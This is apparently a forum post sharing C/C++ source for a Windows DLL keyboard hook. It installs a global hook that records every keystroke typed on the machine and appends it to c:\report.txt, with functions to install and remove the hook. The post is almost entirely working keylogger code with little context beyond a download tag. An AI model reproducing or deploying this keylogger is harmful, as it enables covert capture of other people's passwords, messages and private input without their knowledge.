首页
社区
课程
招聘
[下载]keybord hook
发表于: 2015-8-29 20:11 1599

[下载]keybord hook

2015-8-29 20:11
1599
键盘钩子
核心code:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
         char ch;
         if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
         {
                 f1=fopen("c:\\report.txt","a+");
                 if(wParam==VK_RETURN)
                 {
                         ch='\n';
                         fwrite(&ch,1,1,f1);
                 }
                 else
                 {
                         BYTE ks[256];
                         GetKeyboardState(ks);
                         WORD w;
                         UINT scan;
                         scan=0;
                         ToAscii(wParam,scan,ks,&w,0);
                         ch=char(w);
                         fwrite(&ch,1,1,f1);
                 }
                 fclose(f1);
         }
//将键盘消息传递给其他钩子链上的程序
         LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam);
         return RetVal;
}

//安装键盘钩子

BOOL __declspec(dllexport)__stdcall installhook()
{
        f1=fopen("c:\\report.txt","w");
        fclose(f1);
        hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
        return TRUE;
}

//卸载键盘钩子
BOOL __declspec(dllexport) UnHook()
{
        BOOL unhooked=UnhookWindowsHookEx(hkb);
        return unhooked;
}

BOOL CHookKBApp::InitInstance()
{
        // TODO: Add your specialized code here and/or call the base class
        AFX_MANAGE_STATE(AfxGetStaticModuleState());
        hins=AfxGetInstanceHandle();
        return CWinApp::InitInstance();
}

int CHookKBApp::ExitInstance()
{
        // TODO: Add your specialized code here and/or call the base class
        UnHook();   //卸载键盘钩子

        return CWinApp::ExitInstance();
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回